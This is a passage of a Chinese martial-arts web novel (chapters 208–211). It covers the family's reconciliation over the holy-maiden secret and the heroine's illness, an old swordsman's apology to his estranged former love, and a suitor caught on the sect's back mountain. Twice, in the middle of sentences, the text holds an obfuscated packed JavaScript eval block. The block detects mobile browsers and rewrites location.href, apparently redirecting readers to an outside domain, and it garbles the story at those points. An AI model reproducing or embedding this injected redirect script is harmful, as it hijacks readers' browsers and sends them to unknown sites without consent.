文远骥的话不可避免地让紫璇记起骆雁声那日的劝慰来。 他用自己的亲身经历试图告诉紫璇,命运并非不可抗拒,无论何人面对何种情况都保有选择的余地,哪怕是无可挽回的过去,我们也可用不同态度的来看待。 她并非不懂,只是当时的她不想明白,仿佛承认了这一点便等于告诉自己:那些将自己压得喘不过气来的不幸根本不存在,一切的一切都是因为自己懦弱不堪、小题大做! 她还记得,在骆雁声长篇大论的最后,她非但没有感激他,反而出言讽刺他只会站着说话不腰疼。他口口声声人掌握着命运的主动,告诫她为了未来做出恰当的选择,可他为何偏偏要选择躲起来,回避和姥姥的重逢?如果他都不能从容地面对过往,又有什么资格要求她文紫璇也潇洒地挥别伤痛? 然而,等到骆雁声拂袖离去,屋里只剩下自己一个人的时候,他说的许多话便替代了有关苏茂霖的那些回忆,一遍又一遍地响彻脑海,以至于紫璇开始问自己:“我还能选择吗?” 她无法给出否定的答案,毕竟她还活着,苏茂霖舍弃自己的性命,就是为了让她活着。 “我该如何选择?” “报仇?” 她摇了摇头,魏若琛为了救人牺牲了自己,一命偿一命,她没理由再去找魏菘泽的麻烦。 “那还能做什么?我活下来了,可是为了什么?” 慢慢的,文远骥和紫瑛的脸出现了,紧接着是秋山居里的人,瑾瑜、齐雅雯,甚至还有南阳小院里的那些人和孩子们。 “他们一定不希望看到我这样。” “过去之后仍有未来……”纷纷扰扰的声音最终都化为了这一句话,她好像越来越明白骆雁声想说什么了。 “向前看,为了活着的人。” 紫璇的思绪被拉回来,默默感受着两句话之间的异曲同工之妙,心头的最后一丝重压终于消失了。 208. 和解(二) “之前对你隐瞒圣女的事情,是我的不对。” 看着两个女儿收住眼泪,浮现出真诚的笑意,文远骥颇感欣慰,便坐回来,又开始说下一件事情。 关于圣女,紫瑛几乎一无所知,她抬眸望向父亲,却发现文远骥的目光锁定在紫璇一人身上。 “圣女到底是什么?和璇儿有什么关系?” 从魏宅归来多日,紫璇也终于能够问出:“我想听实话,我到底是不是天魄门的圣女?” “不是。” 文远骥答得斩钉截铁,没有半分犹疑。 紫璇张大了嘴巴,半响才又发问:“真的?可是魏菘泽……” “我对魏菘泽说的话句句属实,我从来都不曾打算用你的血叩开宝藏的大门,不需要什么圣女。师娘与我所想一致,故而晗月去后,我并没有按照门中规矩,将你立为圣女。” 虽然紫璇一直都相信文远骥和许淑平不会为了宝藏牺牲她,可亲耳听到他的保证仍令她感动不已。骆雁声说得没错,自己的命也不是那么糟糕。 这之后,文远骥才详详细细地向两个女儿说起了圣女的由来以及晗月当年面临的命运。紫璇这才知道,原来娘甘愿赴死,也是为了从此断绝天魄门旧部觊觎宝藏的心思。 “可藏宝图已经找到,那些旧部们要是再找上门来,要求开启宝藏怎么办?” 回想起魏宅中那些旧部对于宝藏的狂热,紫璇的担心并非没有道理,文远骥对此也早有思虑:“如今藏宝图在我们手上,其他人想要染指就必须先得到我的同意,局面上我们比十年前更加有利。再者,门中守御今非昔比,等王老前辈一到,现有机关还能辅之以毒粉之类,威力可以扩大数倍。如此一来,外人要想突破防守就没有那么容易。” “可我们毕竟力量有限,若敌人联合起来,集中攻击某一点,也不是没有打上山的可能。” “就算到了山穷水尽那一步,我也不会让他们得逞。” “还有什么办法?” 文远骥微微一笑:“把藏宝图毁了,让他们到梦里去找宝藏吧。” 他说得轻松适意,但紫璇很清楚,一旦寻宝的最后希望破灭,那些旧部们绝不会善罢甘休。恼羞成怒之下,将天魄门夷为平地都有可能。就算文远骥提前部署,将山民和门中众人护送出山暂避,尽可能减少伤亡,也基本上等于是要用天魄门的存亡来换她的性命。 文远骥愿意这般维护她,紫璇十分感念,只是她不能看着太白山上下为了自己一个人损失惨重。“不必如此,若真到了那一步,女儿也可以像娘那样,用自己的一条命保住天魄门,保住太白山数百条性命。” “绝对不行!”文远骥勃然斥道,“我绝不允许让你步她的后尘!我答应过她,也答应过三弟,一定会好好护着你!” “对!怎么能让你为我们而死呢!我不同意!”紫瑛也跳起来,挨到了紫璇身边,将她圈在臂弯之中。 文远骥的坚决和紫瑛的焦急都化作了她心头的暖流,紫璇握住紫瑛的手,直视着文远骥的眼睛:“爹身为门主,就必须抛却儿女私情,一切以天魄门为先。女儿适才所说,是伤亡最小,最有利于太白山的办法。天魄门可以没有宝藏、没有圣女,但不能没有根基。更何况,我原本也只有几年的寿命了。” 她话音未落,文远骥和紫瑛纷纷变色。不等他二人出声,她继续道:“你不用骗我,这件事我早就知道,也做好了准备。既然命不久长,那就让我的命变得有价值一些吧。” 握住紫璇的手不由自主加重了力道,紫瑛一面叫着:“这不可能!”一面急匆匆望向父亲,希望尽快从他口中听到否定的声音。 然而,文远骥问的却是:“你……你是怎么知道的?” 紫瑛闻言大惊,手不自觉用了力,几乎是箍住了紫璇的手腕:“你说什么!?”又急忙看向文远骥,想从他那里听到否定的声音。 然而,文远骥问的却是:“你是怎么知道的?” “娘走后几个月,我听到了你和姥姥的谈话,说我的寒症更重,寿命只会比娘更短……” 紫瑛的目光在父亲和妹妹之间转来转去,可无论是他们的表情还是说出来的言语都让她不得不承认这是事实。 想到她独自一人消化这个噩耗时还那么小,文远骥心疼不已,再开口时声音都虚了大半:“你怎么从来都不……” 紫瑛也带上了哭腔,抱着她的肩膀不忍道:“为什么……” 紫璇低头不语,她要怎样才能解释她听到这个消息后的惊惧和惶惑呢,她甚至想过,自己很有可能听错了,姥姥根本没有说过这件事;又或者只要她不说出来,这一切就只是她做过的一个梦,永远不会成真。 可是她一天天长大,眼看着天魄门中的每一个人都那么紧张她的身体,又怎能不清醒地认识到,自己迟早会有娘亲缠绵病榻的那一天呢。 “不可以……”紫瑛哭得像个孩子一样,“就算只能多活一天,你也不可以寻死……” “我不会寻死,”紫璇定了定神,尽可能淡然又清楚地表达自己的想法,“除非到了最后关头,我不会放弃生命。即便必死无疑,余下的日子我也会认认真真活着,不光是为了你们,也是为了我自己。实话实说,我还有很多想做的事,我会尽力让自己离开的时候不带着遗憾和后悔……但如果只有我的命能挽救天魄门,那……” “我说过,绝不会让这样的事情发生!” 文远骥一向温和,甚少用这样的跋扈口吻说话,紫璇心中泛起涟漪,没有再说下去。 书房中气氛凝滞,只有烛火尚在摇曳,映照出父女三人或悲戚、或僵直、或触动的面容。 半响后,文远骥才松了嘴角,叹息道:“说到底还是我的过错,以往总担心你年纪太小,不敢把实情告诉你,反叫你生出了误会。” “误会?” 这两个字足以让紫瑛重新燃起希望,紫璇脱口而出,她也跟着把头抬起来。 “你幼时的寒症的确比晗月要重上好些,但时过境迁,有前辈悉心调理,你又多年练功不辍,你的身体早就不似年少时那般柔弱。要是我早知道你有此担心,就该早些说于你知道。” “这么说……对呀,比起从前,璇儿现在已经很少发病了呢!”紫瑛看着紫璇,欣喜洋溢在脸上。 “不仅如此,骆前辈告诉我,璇儿如今的体质迥异于前,日后或许根本就不会发病。” 原来,文远骥视察完布防的第一件事,便是去拜访了骆雁声,从他那里得知,自修炼碧影神功以来,紫璇体内的两股内力渐至阴阳调和,相辅相成。寒症主要因阴邪主导病体而起,紫璇如今有了阳盛之气与之中和,阴邪被压制,不仅难以致病,更不会损害本体。许淑平多年前的担心从此便可以丢开了。 乍 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“别着急,我和你一起去。” 父女三人一同上山,文远骥和紫瑛自去庞氏所在的穿云馆不提,紫璇则穿过赤霞山庄,去找骆雁声。 赤霞山庄房舍有限,考虑到乐青澜和韩仲昌之后也会来此做客,庞氏一早就将他安置在了独立于赤霞山庄的清影阁中。 清影阁高于赤霞山庄,紫璇出了后门,循着山道向上,不一会儿就到它的所在。推开门走进去,内里却空无一人。 “骆前辈?”她试探着叫了一声。 “怎么是你?” 高处传来声音,紫璇仰头看去,却见骆雁声正躺在阁顶,手上还握着一小壶酒。 “晚辈前日出言不逊,冲撞了前辈,特来向您赔罪。” 紫璇对着骆雁声所在的方位俯首行礼,极为恭敬。骆雁声却兀自举头望天,只听到了她的声音。 “无妨,用不着赔罪,你回去吧。” 骆雁声兴味索然,似乎并不想和紫璇说话。 紫璇打定主意,左腿蓄力,借着清影阁所倚的石壁飞身向上,跪在了骆雁声身侧。 “前辈大度,晚辈却不敢造次。此来一要请前辈恕我言语冲撞的罪过,二也要感谢前辈出言点化,使我不至于沉沦在打击和痛苦之中。” 直到这时,骆雁声才看了她一眼,虽然仍旧躺着未动,表情也毫无变化,再开口时却多了一分肯定:“想通了便好。不是什么大不了的功劳,不必跪着谢我。” 紫璇依言起来,坐在他身侧。 “至于你得罪我……”骆雁声自嘲地笑了笑,“你虽是故意激我,可说的全都是实话。若说了实话就是出言不逊,我也未免太过太小肚鸡肠了。” “我……”紫璇嘴巴半张,不知道该如何继续下面的话。 骆雁声也不催她,照旧望着山间流云,不时喝一小口酒。 “姥姥明日就到……” 骆雁声送到嘴边的手猛地顿住:“这么快……” “嗯,二叔说,王老前辈和乐姐姐在半道上遇见了她,明天会一齐上山来。” 这之后,骆雁声就再也没有说话。紫璇猜不透他在想什么,只好保持沉默,不过她注意到骆雁声喝酒的速度好像变快了。 209. 欢聚 许淑平原本是要早些去太白山的,但贺家庄来信,提及魏彦成的最新动向,她便先去了一趟西河,再折而向南时,便遇上了江珺翊一行。 乐青澜虽是骆雁声的弟子,却从未听他谈起过自己的师门来历。虽然在木兰庄时俞映华曾提到过许淑平,但后来乐青澜好奇发问时,骆雁声却不愿回答。 这一回,她才终于从王三山那儿得知二人同出于天目派。不过,关于他们俩更进一步的关系以及骆雁声同师父许正牧之间的过结,王三山并没有多嘴。 乐青澜只能暂且将这个疑心按下。一见到许淑平本人,乐青澜便亲切地以“师伯*”呼之。 许淑平虽然冷谈,却也不免多看了她和韩仲昌几眼。不过,关于骆雁声的事,她也没有多说多问。倒叫乐青澜更加好奇,她和骆雁声究竟是什么关系,怎么感觉二人并不亲近呢。 她忍不住同韩仲昌嘀咕了几句,韩仲昌只让她收起不必要的好奇心,免得惹来麻烦。章煦虽然知道内情,却碍于王三山的告诫不好多话。 他们到达太白山的时候,紫瑛紫璇早已候在山下。 一见到紫璇,许淑平的反应和文远骥如出一辙,只不过她还要望闻问切,亲自确认紫璇身体无碍。 “我真的没事。”紫璇有些无奈,却也感动于许淑平对她的牵挂。 “姥姥放心,璇儿这几日都由我亲自监督,每天都按时吃饭,按时练功,绝对没有不听话!” 许淑平面上浮出浅浅笑意:“身子是最要紧的,练功什么的不必急于一时。” “骆前辈给我把过脉,我体内的阴阳冲突之症已然消解,如今练武已无碍了。” 提到骆雁声,许淑平神色瞬间凝滞,只敷衍地点了点头。 “对了,骆前辈还说,璇儿的体质变了,以后寒症大概不会再发了呢。”紫瑛也高兴地补上一句。 许淑平这才有了一点反应:“你原先的体质太过阴寒,俞映华的内力刚好能予以调和。当时我便有此猜想,只是那时候你还不能统御她的内力,反倒让形势看起来十分危险。看来,这碧影神功的确高妙,也不知之前的历任门主为何将其束之高阁。” “师父给我瞧过古谱,似乎碧影神功并不适合男子修炼。”江珺翊听到许淑平的话,插言道。 “怎么说?” “左为阳,右为阴。男子阳盛**,一般的内功心法必以左为起手,逐步修炼以至于贯通右侧,在这个基础上导引内息轮转,渐成气候。而碧影神功恰好与之相反,从阴盛的右侧开始贯通经脉,倒像是为了适应女子的体质而特地如此的。” “这倒有趣,等上了山我也想看看这套功法到底有什么神奇之处。” 许淑平武学天分不错,遇到稀奇的武功自是要钻研一番。 众人将马匹交予山脚的岗哨,络绎上山。许淑平又向王三山问起了用毒粉制成弹丸以为机关御敌的事。江珺翊对此也极为关心,遂紧跟在二人身旁,不时问一两个问题,或是说一点儿自己的想法。 众小辈们渐渐落在后面。乐青澜拉着紫璇,说起了南阳小院中的孩子,韩仲昌习惯独来独往,便一个人边赏风景边往上走。 于是章煦和紫瑛便走在了最后面。其实,在许淑平仔细询问紫璇之时,他就目不转睛地端详着紫瑛了。和逗留长风镖局那两日比起来,紫瑛的笑容多了一些,想必有家人陪伴,那些不快也会忘得快一点吧。 “跟随师父这么多年,这是我第二回出远门。”章煦敛住目光,仿若无意地和紫瑛攀谈起来。 “那第一回呢?”紫瑛粉面含笑,也随口问道。 “便是上次随你们去襄阳。” “啊?你之前都没出过信州吗?” “我也不是一开始就在信州的。我娘在的时候,也带着我去过不少地方。只是那个时候我年纪太小,没什么印象就是了。” “我还是第一次听你说起自己的娘亲呢。” “她走的早,走之前把我托付给了师父。” 紫瑛有些抱歉,章煦却很坦然:“没什么的,我已经不难过了。” “她……是因为什么走的?” “她生了重病,就连师父也束手无策。” “是这样……” 原来他也是个孤儿,紫瑛自然而然地就对他生出了一丝怜悯。 “不过她死的时候并没有怨言,反倒觉得自己很幸运呢。” “为什么?” “她说,至少她在最后遇到了好人,不怕我失去母亲后流落江湖,已不知比其他人幸运了多少倍。” “你的娘亲准是个特别乐观豁达的人!” “你说的没错,即便在病中她也是欢笑不断的。她总说生活本来就够苦了,若不想法设法从中找出些笑料来愉悦自己,那日子就没法过了。” 紫瑛焕然道:“真好!你能这么开朗和煦,必定是随了你的娘亲。” 被喜欢的人夸奖,章煦的双颊立马染上了红云,他咬了咬嘴唇,没再说话。 紫瑛还以为他走累了,忙道:“马上就到了,过了三官池就是石牌坊,再爬一段台阶就到了。” 章煦只是点了点头,仍然不语。 两个人默默走了几步,紫瑛忍不住又开了口:“我可以问你一个问题吗?你可千万别生气。” “你放心问吧,我肯定不会生你的气。” “你娘为何独自带着你,你的爹爹呢?” “我还没出生,娘就和他分开了。具体为什么我不知道,娘也很少向我提到他。” “那……你想见他吗?” 章煦想了想,仍是笑着回答:“毕竟是我的亲生父亲,我肯定还是好奇的。只是人海茫茫,娘走的时候没有给我留下任何记认,恐怕不容易找到他。” 紫瑛点点头,很是为他惋惜,又问:“妇人离开丈夫,大抵都是男人的不是。你……不怪他吗?” “他们俩之间发生了什么我并不清楚,现在就怨他也太早了些。而且,就算是他有错在先,但事情也已经过去了十九年,娘也已经走了,我再揪着不放好像也没有道理。” “也是,时过境迁,再大的怨恨也会消弭。更可况,你的亲生爹爹或许早就悔不当初了呢。这么些年,没有你娘和你的丝毫音信,估计他也很不好过吧。” “谢谢你替他说话。”章煦侧过脸,望着认真说话的紫瑛,心中很是满足。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411618|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我也只是怎么想就怎么说罢了。” “足见你善良单纯,才会总是愿意体谅别人。” “可是,太过单纯就是愚蠢了。”紫瑛的嘴角突然向下,魏彦成之事后,她就不再喜欢“单纯”、“天真”一类的词了。 章煦随即反应过来,马上道:“凡事都有两面。精明固然好,可也免不了让人殚精竭虑,生出更多烦恼。在复杂诡谲的人心和世道面前,单纯自是容易吃亏,所以也显得更加珍贵。若因此就要放弃纯然肺腑,是否也有些得不偿失呢?” 他停下来,对着紫瑛道:“就比如你遇到一个陌生人向你求助,你是愿意暂且相信他施以援手呢?还是担心他有所图谋置之不理呢?” “我……”紫瑛稍作犹豫,“还是要帮的吧,万一他真的是落难之人呢?” “对呀!”章煦眨眨眼睛,再无其他言语。 两人继续向前,紫瑛明白他是特地说这些话来安慰她的,便也开怀笑道:“不过防人之心不可无,就算要帮,也得长个心眼,先确保自己的安全。” “你想的比我周到!在下受教!”章煦说着,还特定停下来给紫瑛行了拱手礼,惹得紫瑛哈哈大笑。 石阶之上,处理完公事的文远骥和江邵谦出来相迎,先以晚辈之礼,问候了许淑平和王三山。 庞氏许久没见儿子,得了江邵谦的口迅,也早早赶到了这儿。江珺翊一见到母亲便立刻上前立刻,让她牵住自己的手看个够。 令人惊讶的是,骆雁声也出现在了较后方的位置,乐青澜没想到师父竟然会亲自来迎接他们,马上跑过去,边给骆雁声行礼边问他:“师父,你是来接我们的吗?” 韩仲昌慢慢走过去,并没有开口,因为他发觉骆雁声的目光所向并不是他和乐青澜,而是自己身后三步开外的许淑平。 许淑平简单和文远骥二人说了几句,便走向骆雁声,尽量用普通老友之间的语气道:“有劳你看顾璇儿,还有茂霖。” “举手之劳,不足挂齿。” 这一回,就连粗疏的乐青澜也发觉了骆雁声的不对,他虽然依旧面如止水,但背在身后的右手却被紧紧地攥成了拳头。 乐青澜疑惑不已,余光瞟向韩仲昌,发现他也盯着师父后背若有所思。 骆雁声的冷淡让许淑平胸口发闷,她机械地点了点头,又退回了原先的位置。 众人便在庞氏的招呼下行往穿云馆。从昨日晚间起,紫瑛就帮着她准备今日要用的食材,如今各项菜肴已经就位,客人一到便可开席。 天魄门的小辈们忙着将热在灶上的碗盘端到里间,江珺翊瞥见伙房外垒到屋顶的柴垛,偷偷问庞氏:“娘,明明儿子今天就回来了,你干嘛不把劈柴的活儿留下来,也好让我帮你出出力。” 儿子的问题却让庞氏露出了少有的羞涩表情:“这些都是你爹这几日忙里偷闲劈好的,还有双全,他也帮了几次。” “爹?”江珺翊很是惊讶,上一回江邵谦可不是这个态度。 “快把菜端进去,客人们等着呢!”庞氏拍了一下儿子的后脑勺,催促他赶快行动。 江珺翊甩了甩脑袋,跟上了紫瑛和紫璇的步伐。 210. 释怀(一) 穿云馆里好久没这么热闹了,乐青澜和章煦又都是活泼爱凑趣的性子,有他们插科打诨,一顿饭吃了足有一个时辰。连一向喜欢清净的许淑平都没有过早离席,一直到酒足饭饱之后才告辞离去。 江邵谦和文远骥将她送出门后,又回到席间,王三山正在向几个年轻人吹嘘自己少年时遍尝百草的毅力和成就,乐青澜乐呵呵地听着,忽一转头,发现骆雁声也不见了。与此同时,韩仲昌的目光飘向门外,下一刻便悄无声息地跟了出去。 许淑平从穿云馆出来,正往自己的居所走,身后响起一道久违的呼唤。 “淑平。” 她马上停步,带着犹豫转过了身。 骆雁声的身影自黑暗中步出,第一次,许淑平在他的身上看到了忐忑和紧张。 紫璇在情绪激动之下指责他逃避许淑平,戳穿了他一直以来淡然无羁的面具,一些他自以为早就遗忘的点滴也自此不受控制地逃出了封禁。 二十多年来,他隐姓埋名、浪迹天涯,不光是因为对师父的原形毕露心怀芥蒂,也和他与许淑平感情出现裂痕有关。 发现师父的阴谋之后,骆雁声第一时间就把整件事告诉了许淑平,却没能得到她的支持。在他看来,许淑平碍于和许正牧的血缘亲情,在大是大非面前选择包庇父亲,和他力行侠义,匡扶正道的理念背道而驰。两人大吵一架,至此分道扬镳。 而在这之前,因为一些招式修炼和经营门派的歧见,二人也屡屡发生争执。几乎每一次,骆雁声都会指责她一味谨小慎微、不敢大胆求变。甚至在一次争论中,嘲笑她身为女子,目光短浅、格局逼仄,气的许淑平半个月都不愿与他说话。 他被天目派追杀,只因许淑平的暗中保护才能捡回一条命。王三山告诉他,许淑平将他送来,得到他一定可以医活的保证后便决然离开,一刻都不愿停留。想起自己离开前的无礼,他便觉得愧对于她,即使后来重新燃起活下去的意志,也不敢再去找她。 之后的两三年间,他得以经历更多的江湖风波,也见识到许多波云诡谲、你死我活的争夺。慢慢地意识到许淑平的许多想法和顾忌并非毫无可取之处,可是他却没有勇气再回头,向许淑平承认当年的自己是个不通世事的幼稚鬼。 时间往后推移,没了钱式照应,许正牧两个弟子又接连消失,围绕着谁能继承天目派,派中其他势力生出了争夺的心思。天目派内斗不断、日益倾颓,许正牧不得不将女儿远嫁到西北,来换取苏明启的助力。 然而,就在许淑平嫁给苏明启还不到一年的时间里,许正牧在内斗中身死,天目派也名存实亡。 这一切,骆雁声皆有耳闻,但他不忿于师父的野心和手段,对此只是冷眼旁观,唯有在听说天目派掌门的爱女嫁作天魄门的门主夫人时才赶到了锥心之痛。 直到这时,他才真正意识到,许淑平与他终究成为陌路,或许他们再也不会有重逢的日子了。 后来,他又多方打听到,苏明启的新夫人与他不睦,又因为天目派迅速陨落,许淑平在苏明启心目中已被置于无关紧要的位置。再后来,苏明启突然身故,许淑平成了寡妇,被江湖人指指点点,闲话不断。 骆雁声无数次想到,这一切都是自己的过错:若非他瑟缩不前,不肯放下面子向许淑平服软认错,她或许就不会彻底放弃自己嫁给旁人;若非他执于旧怨对天目派的命运不管不顾,许正牧也不会非得牺牲女儿交换资源,苏明启也不至于在许正牧身亡后如此不待见自己的妻子。 总而言之,许淑平后来的悲剧多多少少都有自己的责任。这些羞耻、愧疚充斥心田,竟成了横亘在他和许淑平之间的阻碍,使得他一直逃避着去找她见她。 去岁以来,定居到南阳的骆雁声得知天魄门惹上了人命官司,长业帮要在襄阳召开武林大会予以讨伐,从过去二十年天魄门两次变故中许淑平的表现来看,他料定这一次许淑平也不会袖手旁观,说不定会出现在襄阳。 他担心局面不利于天魄门,这才隐匿在江湖人中,出现在了武林大会之上。然而,彼时许淑平并未现身,他看到文远骥和阮云飞结伴而来,猜到天魄门已有了破局之法,便放心离去。这才在长业帮外救下了失血倒地的陆文渊。 俞映华指责他从未将许淑平的处境放在心上,凡事皆以自我为中心,从没有试图去理解她作为女子和掌门之女的不易,对此骆雁声毫无反驳之力,也使他再一次意识到,自己自诩睿智潇洒,实际上狂妄自大目光如豆,根本配不上许淑平。 他不想出现在许淑平面前,一是对自己的面子仍有顾忌,害怕听到她的亲口指责,也是怕自己无法在她面前成功装出坦然无事的样子。 没错,他是个空好面子、不敢认错的懦夫。一直到昨天,紫璇特地告诉他许淑平要回来了,他都没有想好要以怎样的面孔与许淑平相处。 可是,当他回忆起自己在劝慰紫璇时说的那些大道理,又看着紫璇从父亲牺牲的打击中恢复过来开始向前看,再到亲眼见到许淑平面对自己欲言又止的别扭模样。他终于明白,如果无法坦然面对过去,那么这一辈子他都会在自我嫌恶和后悔中度过了。即便他们再无可能,至少也不该成为陌生人。 “其实,我一直想和你说一句抱歉……” 就连骆雁声自己都极为惊讶,那些自以为难以启齿的话语竟然在许淑平面前毫无阻滞地被说了出来。 许淑平静静听着,一开始十分惊讶,慢慢地开始有了微笑,到了最后则是笑中带泪,绷紧的臂膀也放了下来,整个人如释重负。 “你不用抱歉,都是我们各自的命罢了。时移事易,我们都还活着,还能见面,挺好的。” 骆雁声从未想过,许淑平竟会这样回应自己,原来那些担心都是多余的。他不得不再一次承认,她才是更有大智慧的那一个。 清风拂过赤霞山庄内的黄柏,哗啦哗啦的声音一阵又一阵。许淑平已经离开,骆雁声却还兀自站在夜风之中,淤积在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418271|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内心几十年污渍居然可以这样轻松地洗去,笑容在不经意间就占据了他的眉梢嘴角,他尚需要一点时间来消化和适应全新的自己。 只是……他无奈地摇了摇头,但嘴角的半幅笑容还没有消失。 “出来吧。” 大树上,乐青澜和韩仲昌对视一眼,灰溜溜地落了地。 “听到了多少?” 乐青澜咬着嘴唇,声如蚊蚋:“你叫住师伯的时候,我们就……” 骆雁声没忍住翻了个白眼,背着手走向了赤霞山庄的后门。 “师父,你去哪儿?”乐青澜赶忙发问。 “睡觉!” “等等我们呀,师父!我们还不知道住的地方在哪呢!” 乐青澜对韩仲昌使了个眼色,两个人立马跟在了骆雁声身后。 ********************** 酒至半酣,王三山与文远骥相谈甚欢,江邵谦又取出家中陈酿,给他们三人再次满上。紫瑛正在取笑江珺翊,说他特别听齐熙宁的话,日后一定是个怕老婆的,庞氏和紫璇忍俊不禁,章煦则帮着江珺翊说话。 伍双全从外面进来,直奔江邵谦。众人停住话头,齐刷刷看向他。只见他低声向文远骥和江邵谦说了几句话,二人竟同时将目光转向了紫璇。 事情必然和她有关,紫璇离开座位来到他们身边,问:“爹,二叔,怎么了?” 江珺翊尚在迟疑,文远骥先道:“守冲堂的弟子在后山抓到了方瑾瑜。” “后山?他怎么会出现在那儿?”紫瑛听到他们的对答,此刻也赶到了桌子的另一端。 “这正是可疑之处。”江邵谦就着她的话说道。 “我去见他,就知道答案了。” 其余人都还在领会江邵谦的意思,紫璇却已经拿定了注意,转头就要请伍双全带路。 “不可!”江邵谦拦在前头,“方乂安是魏菘泽的人,难保他不会再次利用方家来对你不利。反正人已经抓住了,慢慢审问就是,没必要让你孤身犯险。” “方公子不是这样的人!”紫瑛率先喊道。 章煦也附和说:“没错,我和师父被关在魏宅之中,也是方公子帮忙递消息给紫璇姑娘,我们才得以逃脱的。他怎么会反过来害人呢?” “防人之心不可无。”文远骥站起来,对上紫璇不肯退让的神情,“方乂安已逝,外间形势尚不明朗,我们不可掉以轻心。若他是友非敌,为何不从正门坦途进来,而会误入后山呢?” 文远骥的担心不无道理,可紫璇绝不相信瑾瑜会不利于自己:“好,就算他居心不良,我去见一见他也不会怎么样的。他伤不了我,下毒也对我没用,我有脑子也不会随随便便就被他蒙蔽……与其我们在这里先入为主,无端猜疑,还不如让我直接去问一问,或许……或许他别有隐情呢?” 所有人都看向文远骥,等着他拿主意。 “那就让珺翊跟你一起去吧。” 211. 释怀(二) 瑾瑜已经被押到了山上,囚禁在政事堂后面的一排房舍之中。 伍双全引着紫璇和江珺翊来到其中一处点着灯的房子,门口插着一把大锁,另有一位守冲堂的弟子守在门外。 “师兄,你在外面等我。” 瑾瑜的出现方式不太寻常,紫璇怕他有什么为难之处,不想让江珺翊和她一同进去。 江珺翊点点头:“好,有事一定要叫我,我就等在这儿。” 紫璇应承了,又向伍双全道:“烦劳伍师兄。” 伍双全和守门的弟子沟通了几句,才开了门放紫璇进去。 屋内烛火昏黄,瑾瑜被五花大绑,扔在一处草垛上。 他听到门响,抬起头来,露出了一张胡子拉碴、憔悴不已的脸。 “璇儿……”瑾瑜几乎是下意识地叫出了她的名字,整个人看上去十分恍惚。 紫璇将门掩上,先去帮他解开束缚,这才蹲下来仔细瞧了瞧他。他不仅眼窝深陷,像是许久都没有睡好觉,脸上身上还有不少伤口,显然是在山中遇到了天魄门的机关。血污遍布全身,但都是些轻伤。估计瑾瑜的轻功帮了些忙,才让他不至于被机关暗器要了性命。 紫璇心疼不已,转身就想问伍双全要些伤药来。 但瑾瑜已经回过神来,确认眼前的景象并不是出自自己的臆想,便情不自禁地伸出臂膀将紫璇圈在了怀里。 久别重逢,紫璇也贪恋他的怀抱,故也静静地由着他抱紧自己。 当感受到瑾瑜的气息终于平稳下来时,她才轻轻发问:“你怎么来了?” 瑾瑜扣在她肩膀和腰间的两只胳膊顿时松开,人也向后退开了数寸。 “我……”他低着头,嗫喏了半响才道,“我去了金陵,原本有事要问一问娘……一见面她就告诉我……苏……苏前辈伤重难支,已经……已经……我担心你,就立刻赶过来了……” 瑾瑜的声音有一些哽咽,又不敢抬头看着自己,似乎有什么难言之隐。 紫璇不着急盘问他,只是道:“然后呢?” “我在山下遇到了王老前辈他们……也……也看到了你。看到你很好,我就……放心了。” “那要是我告诉你,我并没有看起来得那么好呢?” 听到紫璇微微的哭腔,瑾瑜赶忙把眼睛抬起来,果见紫璇眼圈泛红,神色委屈得像个五岁孩子。 瑾瑜更加语塞,愈发觉得无颜面对紫璇。 自从他在杨邠那儿得知了方家在圣女一事中发挥的作用之后,便意识到,紫璇所有的不幸背后都有方家的影子。 晗月的死、她的寒症还有魏家父子突然对新圣女的追索,每一桩每一件都因方乂安而起。而方乂安之所以三番四次助纣为虐,又都是为了保护他。 归根到底,要是没有他,若非方乂安顾及他的安危对魏菘泽百依百顺,苏茂霖不会与晗月被迫分离,更不会长达十八年都不知道自己还有个女儿;紫璇也不会早早失去父母疼爱,孤独长大,更加不会面临年岁难永的可怕命运。再往前一些,要是祖父没有屈从于苏明启的命令,不曾将晗月伪装成圣女,那么这一切就都不会发生了。 一想到紫璇所有的痛苦、恐惧都因他而起,他就没有勇气再靠近她。可要真让他放下紫璇,他也不能甘心,一切的一切都不是出自他的意愿,为什么要让他背负这些责任呢? 他不知道该怎么办,料理完家中事务后便立刻去了金陵,想听听齐雅雯的建议。可是,当齐雅雯告诉他,苏茂霖为救紫璇受了重伤已经亡故时,所有的担心犹豫都消失得无影无踪。他只想尽快确认紫璇好不好,有没有在这个噩耗折磨下再次生病。 就在今日,他发现了许淑平一行人的踪迹,出于愧疚,他并不敢上前相认,只远远地跟在后面。一直到太白山脚下,他终于看到了等候在那儿的紫璇。 虽然听不到紫璇和许淑平说了什么,但看她举止自然,面带微笑,似乎并没有受到苏茂霖离世的打击。瑾瑜这才省过神,意识到紫璇并不需要他,太白山是她的家,自有关心她的家人朋友可以抚慰她的伤口。 想到这些,他就更不敢露面。可他也不愿就此离开,于是就在恍惚中绕到了后山,在各种无端的游走中触动了机关,引来了巡山的山民,随即被抓上了政事堂。 瑾瑜张了张嘴巴,想对紫璇和盘托出,却又担心她听完之后再也不愿意见他。 他的欲言又止没有逃过紫璇的眼睛,紫璇定了定神,语调依然轻柔:“到底发生了什么?你为什么会跑到后山去?你不是来见我的吗?” 瑾瑜当然知道天魄门为何将他视作敌人,也明白自己误闯后山肯定是犯了天魄门的忌讳,但从刚才到现在,紫璇没有一刻怀疑过他的来意,只是真诚地问自己“发生了什么”。 